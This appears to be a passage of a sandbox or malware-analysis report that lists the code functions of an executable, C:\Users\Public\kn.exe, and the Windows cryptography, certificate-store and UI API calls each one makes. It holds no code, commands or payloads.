          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree,6_2_00007FF7F712511C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7137124 BCryptGenerateKeyPair,#360,6_2_00007FF7F7137124
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7137178 BCryptCloseAlgorithmProvider,#360,6_2_00007FF7F7137178
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EF168 CryptDuplicateKey,GetLastError,#357,CryptEncrypt,GetLastError,CryptEncrypt,GetLastError,CryptDestroyKey,6_2_00007FF7F70EF168
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E5164 GetLastError,#357,CryptEncodeObjectEx,GetLastError,#357,LocalFree,6_2_00007FF7F70E5164
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E3188 CryptAcquireContextW,GetLastError,#359,#359,CryptAcquireContextW,GetLastError,6_2_00007FF7F70E3188
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D51A4 #360,#357,#359,#207,CryptFindOIDInfo,#357,GetLastError,#357,#207,#360,#254,#358,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70D51A4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71371C8 BCryptDestroyKey,#360,6_2_00007FF7F71371C8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71011C8 NCryptVerifySignature,#205,#357,#357,#357,#357,6_2_00007FF7F71011C8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71031C0 CryptGetKeyParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,6_2_00007FF7F71031C0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7159208 #357,NCryptEnumKeys,#360,#358,6_2_00007FF7F7159208
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7137214 NCryptIsKeyHandle,#357,CryptReleaseContext,GetLastError,6_2_00007FF7F7137214
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712E044 NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,LocalAlloc,#359,LocalFree,6_2_00007FF7F712E044
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D4070 _wcsnicmp,_wcsnicmp,_wcsnicmp,#357,GetLastError,#359,#357,LocalAlloc,memmove,wcsstr,#223,#357,#359,LocalFree,#359,LocalFree,LocalFree,LocalFree,LocalFree,CryptMemFree,6_2_00007FF7F70D4070
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70960DA #357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,6_2_00007FF7F70960DA
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D5F54 GetLastError,LocalAlloc,memmove,wcschr,CryptFindOIDInfo,#357,#357,LocalFree,LocalFree,6_2_00007FF7F70D5F54
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7165F20 CryptDecodeObjectEx,6_2_00007FF7F7165F20
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709FF64 NCryptGetProperty,#359,NCryptGetProperty,CertEnumCertificatesInStore,CertFindCertificateInStore,CertFreeCertificateContext,CertEnumCertificatesInStore,CertFreeCertificateContext,CertCloseStore,CertCloseStore,#357,6_2_00007FF7F709FF64
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7109F90 memmove,wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,BCryptSignHash,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,#357,_CxxThrowException,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,6_2_00007FF7F7109F90
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7105FA8 NCryptIsKeyHandle,wcscmp,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,6_2_00007FF7F7105FA8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7095FE8 #357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,6_2_00007FF7F7095FE8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7165FF0 CryptDecodeObjectEx,CryptDecodeObjectEx,6_2_00007FF7F7165FF0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7165E3C CryptDecodeObjectEx,strcmp,strcmp,strcmp,6_2_00007FF7F7165E3C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F1E2C CryptAcquireContextW,GetLastError,#357,CryptGenKey,GetLastError,CryptDestroyKey,#357,GetLastError,#357,#357,LocalAlloc,#357,memmove,LocalFree,memset,CryptGenRandom,GetLastError,#357,GetSystemTime,SystemTimeToFileTime,GetLastError,CertCreateCertificateContext,GetLastError,CryptReleaseContext,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70F1E2C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712DE70 NCryptIsKeyHandle,#357,CryptExportKey,GetLastError,#358,LocalAlloc,#357,CryptExportKey,GetLastError,LocalFree,6_2_00007FF7F712DE70
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EDEB0 wcscspn,#357,GetFileAttributesW,GetLastError,#359,CertEnumCertificatesInStore,CertGetCRLContextProperty,CryptBinaryToStringW,wcsstr,CertEnumCertificatesInStore,GetLastError,GetLastError,LocalFree,LocalFree,CertCloseStore,CertFreeCertificateContext,6_2_00007FF7F70EDEB0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BDEA4 memset,GetSystemTimeAsFileTime,CryptGenRandom,GetLastError,LocalAlloc,GetLastError,#357,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,CryptReleaseContext,CryptAcquireContextW,LocalFree,6_2_00007FF7F70BDEA4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B7F14 CryptAcquireCertificatePrivateKey,GetLastError,#357,CryptSetProvParam,GetLastError,GetSecurityDescriptorLength,#359,CryptReleaseContext,6_2_00007FF7F70B7F14
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7137EE8 CryptFindOIDInfo,#357,CryptInitOIDFunctionSet,CryptGetOIDFunctionAddress,GetLastError,GetLastError,GetLastError,#357,strcmp,GetLastError,strcmp,GetLastError,CryptFindOIDInfo,CryptFindOIDInfo,#357,LocalFree,LocalFree,CryptFreeOIDFunctionAddress,LocalFree,LocalFree,6_2_00007FF7F7137EE8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F5F04 #357,#357,SysAllocStringByteLen,#357,SysFreeString,#357,#359,#357,lstrcmpW,CryptMsgControl,GetLastError,#357,CertFreeCertificateContext,#359,CertFreeCTLContext,LocalFree,SysFreeString,LocalFree,6_2_00007FF7F70F5F04
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713BD3C NCryptIsKeyHandle,#357,#357,CryptSetProvParam,GetLastError,#357,CryptSetProvParam,GetLastError,LocalFree,6_2_00007FF7F713BD3C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7137D3C #357,CryptFindOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,wcschr,CryptFindOIDInfo,#359,LocalFree,6_2_00007FF7F7137D3C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F711DD1C #357,strcmp,GetLastError,CryptHashCertificate,GetLastError,LocalAlloc,memmove,LocalFree,6_2_00007FF7F711DD1C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712FD2C CryptDecryptMessage,GetLastError,#357,6_2_00007FF7F712FD2C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C1D70 #357,LocalAlloc,memmove,#357,CryptSetKeyParam,GetLastError,LocalAlloc,memmove,CryptDecrypt,GetLastError,#357,#357,#358,LocalFree,LocalFree,#357,#357,#357,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70C1D70
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7115D80 #357,NCryptIsKeyHandle,GetSecurityDescriptorLength,CryptSetProvParam,GetLastError,LocalFree,#357,6_2_00007FF7F7115D80
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B9D6C #357,#357,#359,LocalAlloc,#357,#357,wcsrchr,LocalAlloc,memmove,CryptFindLocalizedName,wcsrchr,CryptFindLocalizedName,#357,GetLastError,#359,CertOpenStore,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70B9D6C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E3D60 #359,GetLastError,#357,CryptSetProvParam,GetLastError,#357,CryptSetProvParam,GetLastError,CryptReleaseContext,6_2_00007FF7F70E3D60
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BDD80 CertFindExtension,CryptDecodeObject,6_2_00007FF7F70BDD80
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7165D74 CryptDecodeObjectEx,strcmp,strcmp,6_2_00007FF7F7165D74
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7095DA1 #358,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,6_2_00007FF7F7095DA1
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7071DE8 GetSystemDefaultLangID,wcscspn,LocalFree,LocalFree,CryptEnumOIDInfo,qsort,free,6_2_00007FF7F7071DE8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7095DF7 GetLastError,#357,#357,#358,#358,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCRLsInStore,CertEnumCRLsInStore,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,#357,6_2_00007FF7F7095DF7
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BFC34 memset,#357,CryptDecodeObject,GetLastError,LocalAlloc,#357,memmove,memset,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70BFC34
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709FC20 #359,#357,NCryptOpenStorageProvider,#357,NCryptImportKey,GetLastError,#357,#357,LocalFree,LocalFree,NCryptFreeObject,#357,NCryptFreeObject,#357,6_2_00007FF7F709FC20
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7165C54 CryptDecodeObjectEx,CryptDecodeObjectEx,6_2_00007FF7F7165C54
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A1C50 BCryptQueryProviderRegistration,#360,#357,BCryptFreeBuffer,6_2_00007FF7F70A1C50
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B3C60 CryptExportPublicKeyInfo,GetLastError,#357,LocalAlloc,CryptExportPublicKeyInfo,GetLastError,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,CertCreateCertificateContext,GetLastError,#357,#357,CertComparePublicKeyInfo,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,CertSetCTLContextProperty,GetLastError,#357,#357,#358,#358,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,6_2_00007FF7F70B3C60
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F1C84 GetLastError,#357,CryptVerifyCertificateSignature,GetLastError,#357,LocalFree,#357,LocalFree,6_2_00007FF7F70F1C84
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F5CE8 #357,CertOpenStore,GetLastError,CertFindCertificateInStore,GetLastError,#359,LocalFree,CertFreeCertificateContext,CertCloseStore,CryptVerifyCertificateSignature,GetLastError,#357,6_2_00007FF7F70F5CE8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7135B44 CertFindExtension,#357,CryptDecodeObject,GetLastError,6_2_00007FF7F7135B44
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710FB50 CryptExportPublicKeyInfo,GetLastError,#357,LocalAlloc,#357,CryptExportPublicKeyInfo,GetLastError,GetLastError,#357,#357,CertFindExtension,LocalAlloc,#357,memmove,#357,#357,#357,#357,#357,CAFindCertTypeByName,CAGetCertTypeExtensions,#357,#358,CertFindExtension,#357,LocalAlloc,memmove,memmove,#357,#357,GetLastError,#357,CertFindExtension,#357,GetLastError,#357,CryptSignAndEncodeCertificate,GetLastError,#357,LocalAlloc,CryptSignAndEncodeCertificate,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CAFreeCertTypeExtensions,CACloseCertType,6_2_00007FF7F710FB50
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713BB50 NCryptIsKeyHandle,#359,CertCreateCertificateContext,GetLastError,LocalFree,CryptGetKeyParam,GetLastError,#358,LocalAlloc,#357,CryptGetKeyParam,GetLastError,#357,6_2_00007FF7F713BB50
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CBB38 #357,CryptVerifyCertificateSignatureEx,GetLastError,#357,memcmp,GetSystemTimeAsFileTime,CompareFileTime,CompareFileTime,CompareFileTime,#357,#358,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70CBB38
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7165B90 CryptDecodeObjectEx,memmove,6_2_00007FF7F7165B90
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712FB94 #357,CryptFindOIDInfo,LocalAlloc,CryptEncryptMessage,GetLastError,LocalFree,#357,6_2_00007FF7F712FB94
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7137B60 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptFindOIDInfo,LocalAlloc,#357,memmove,CryptReleaseContext,6_2_00007FF7F7137B60
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708BB80 #357,NCryptIsKeyHandle,#357,LocalFree,LocalFree,6_2_00007FF7F708BB80
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710BBC0 wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,CryptSignHashW,#205,GetLastError,#357,#359,#357,SetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,6_2_00007FF7F710BBC0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7065BA4 #357,NCryptIsKeyHandle,strcmp,GetLastError,strcmp,GetLastError,SysAllocStringByteLen,#357,SysFreeString,#359,LocalAlloc,#357,GetLastError,GetLastError,GetLastError,#357,LocalFree,LocalFree,LocalFree,SysFreeString,CertFreeCertificateContext,LocalFree,LocalFree,CryptReleaseContext,6_2_00007FF7F7065BA4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7089BC8 #357,strcmp,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,CryptDecodeObject,GetLastError,strcmp,strcmp,strcmp,strcmp,GetLastError,strcmp,CryptDecodeObject,GetLastError,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,LocalFree,strcmp,SysFreeString,#357,#357,strcmp,SysFreeString,#357,SysFreeString,GetLastError,strcmp,LocalFree,LocalFree,CryptDecodeObject,strcmp,strcmp,strcmp,SysFreeString,LocalFree,6_2_00007FF7F7089BC8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7103BEB _CxxThrowException,_CxxThrowException,_CxxThrowException,CryptExportKey,#205,GetLastError,#357,#357,#357,#357,SetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F7103BEB
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F711BA50 CryptSignCertificate,SetLastError,6_2_00007FF7F711BA50
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7093A40 LocalFree,LocalFree,strcmp,#357,strcmp,LocalFree,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,LocalFree,strcmp,CryptDecodeObject,strcmp,LocalFree,strcmp,GetLastError,#357,LocalFree,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,GetLastError,#357,strcmp,strcmp,GetLastError,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,GetLastError,strcmp,strcmp,strcmp,strcmp,#357,#357,CryptDecodeObject,GetLastError,GetLastError,strcmp,LocalFree,strcmp,LocalFree,GetLastError,strcmp,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F7093A40
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7101A44 CryptContextAddRef,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,6_2_00007FF7F7101A44
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7107A70 wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,NCryptSignHash,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,#357,_CxxThrowException,_CxxThrowException,NCryptSecretAgreement,#205,#357,#357,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,NCryptDeriveKey,#205,#359,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F7107A70
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712FA84 LocalAlloc,#357,memmove,CryptDecrypt,GetLastError,#357,LocalFree,6_2_00007FF7F712FA84
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7119A58 #357,#357,#210,#357,SetWindowTextW,SetFocus,SendMessageW,SendMessageW,LocalAlloc,#357,#357,LocalFree,UpdateWindow,CoInitialize,LoadCursorW,SetCursor,LoadCursorW,SetCursor,SetFocus,SetWindowTextW,SetFocus,#357,SetFocus,SendMessageW,#357,LocalFree,LocalFree,LocalFree,CryptUIDlgFreeCAContext,CoUninitialize,6_2_00007FF7F7119A58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7165AA8 CryptDecodeObjectEx,6_2_00007FF7F7165AA8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C3B14 NCryptIsKeyHandle,CryptGetUserKey,GetLastError,#357,#357,#357,NCryptIsKeyHandle,#357,#357,LocalFree,CryptDestroyKey,6_2_00007FF7F70C3B14
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F9AF8 CertCloseStore,CertCloseStore,CryptMsgClose,LocalFree,LocalFree,NCryptFreeObject,6_2_00007FF7F70F9AF8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7083918 #357,#357,#357,#357,CertFindExtension,CryptDecodeObject,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F7083918
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710391C CryptVerifySignatureW,#205,GetLastError,#357,#359,#357,SetLastError,6_2_00007FF7F710391C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712F918 CryptEncrypt,GetLastError,LocalFree,LocalAlloc,#357,LocalFree,6_2_00007FF7F712F918
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EB950 I_CryptGetLruEntryData,#357,6_2_00007FF7F70EB950
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BF944 CryptDecodeObject,GetLastError,#357,6_2_00007FF7F70BF944
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F715B980 #357,CryptFindOIDInfo,#359,GetLastError,#357,#359,CryptGetProvParam,memset,CryptGetProvParam,CryptFindOIDInfo,#357,GetLastError,#357,CryptReleaseContext,BCryptFreeBuffer,6_2_00007FF7F715B980
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7097988 CryptFindOIDInfo,#357,CryptFindOIDInfo,#357,GetLastError,#357,GetLastError,#357,LocalFree,6_2_00007FF7F7097988
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E597C GetLastError,CryptEncodeObjectEx,GetLastError,#357,6_2_00007FF7F70E597C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7129970 LocalAlloc,#357,LocalAlloc,CertGetEnhancedKeyUsage,GetLastError,#358,LocalFree,LocalFree,GetLastError,strcmp,#357,CryptFindOIDInfo,LocalFree,6_2_00007FF7F7129970
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EB9CC I_CryptWalkAllLruCacheEntries,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,I_CryptWalkAllLruCacheEntries,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,6_2_00007FF7F70EB9CC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708F9B8 strcmp,#357,#359,NCryptOpenStorageProvider,#357,NCryptImportKey,#357,NCryptSetProperty,NCryptFinalizeKey,NCryptFreeObject,NCryptFreeObject,#359,CryptImportPKCS8,GetLastError,#357,CryptGetUserKey,GetLastError,#357,CryptGetUserKey,GetLastError,CryptDestroyKey,CryptReleaseContext,LocalFree,6_2_00007FF7F708F9B8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713BA14 NCryptIsKeyHandle,#357,CryptGetProvParam,GetLastError,NCryptFreeObject,6_2_00007FF7F713BA14
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7086824 CryptHashCertificate,GetLastError,#357,6_2_00007FF7F7086824
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100844 BCryptExportKey,#205,#359,#357,#357,6_2_00007FF7F7100844
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F707A8CC CryptFindLocalizedName,CertEnumCertificatesInStore,CertFindCertificateInStore,CertGetCRLContextProperty,#357,#357,#357,CertEnumCertificatesInStore,6_2_00007FF7F707A8CC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F716E8B0 CryptDecodeObjectEx,GetLastError,CryptBinaryToStringW,GetLastError,memset,CryptBinaryToStringW,??3@YAXPEAX@Z,LocalFree,6_2_00007FF7F716E8B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71008EC BCryptGetProperty,#205,#359,#357,#357,6_2_00007FF7F71008EC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7134914 GetLastError,#359,CryptGetUserKey,CryptGetUserKey,GetLastError,#357,CryptDestroyKey,CryptReleaseContext,6_2_00007FF7F7134914
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EE914 CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,GetLastError,GetLastError,GetLastError,#357,CryptDestroyHash,6_2_00007FF7F70EE914
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713A740 CryptAcquireContextW,GetLastError,#357,CryptImportKey,GetLastError,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,CryptGetUserKey,GetLastError,CryptDestroyKey,#357,CryptDestroyKey,CryptReleaseContext,6_2_00007FF7F713A740
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F2724 CryptDecodeObject,GetLastError,#357,6_2_00007FF7F70F2724
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100740 BCryptCloseAlgorithmProvider,#205,#357,#357,6_2_00007FF7F7100740
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71007A4 BCryptDestroyHash,#205,#357,6_2_00007FF7F71007A4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71107D0 memset,#357,#360,#359,#357,#358,LoadCursorW,SetCursor,#360,#358,CertGetPublicKeyLength,GetLastError,#357,strcmp,GetLastError,#357,CryptFindOIDInfo,#357,#357,LocalFree,#357,LocalFree,#358,#358,#357,SetCursor,SetCursor,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,#357,#225,#359,#359,#357,#359,LocalFree,#359,#223,#359,#357,#223,#359,#359,#359,DialogBoxParamW,SysStringByteLen,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,SysFreeString,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,6_2_00007FF7F71107D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70667CC LocalAlloc,#357,GetSystemTimeAsFileTime,LocalAlloc,#357,LocalAlloc,#357,memmove,memcmp,CryptEncodeObjectEx,memmove,LocalFree,GetLastError,#357,#359,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70667CC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F27BC _strnicmp,#357,#357,#357,#357,CryptDecodeObject,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70F27BC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71007F4 BCryptDestroyKey,#205,#357,6_2_00007FF7F71007F4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EC7F0 GetLastError,#357,CertOpenStore,GetLastError,CertEnumCertificatesInStore,CertCompareCertificateName,CertFindExtension,CryptDecodeObject,GetLastError,#357,CertGetCRLContextProperty,GetLastError,#357,CertSetCTLContextProperty,GetLastError,#357,GetSystemTimeAsFileTime,I_CryptCreateLruEntry,GetLastError,#357,I_CryptInsertLruEntry,I_CryptReleaseLruEntry,GetLastError,#357,CertEnumCertificatesInStore,I_CryptCreateLruEntry,GetLastError,#357,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,CertFreeCertificateChain,GetLastError,I_CryptInsertLruEntry,I_CryptReleaseLruEntry,#357,CertCloseStore,CertFreeCertificateContext,6_2_00007FF7F70EC7F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7138814 NCryptIsKeyHandle,NCryptIsKeyHandle,#357,#359,#357,CryptFindOIDInfo,LocalAlloc,#357,LocalAlloc,#357,CryptFindOIDInfo,#359,LocalAlloc,#357,memmove,LocalFree,#357,6_2_00007FF7F7138814
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7090630 #357,CryptDecodeObject,GetLastError,#357,GetLastError,GetLastError,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F7090630
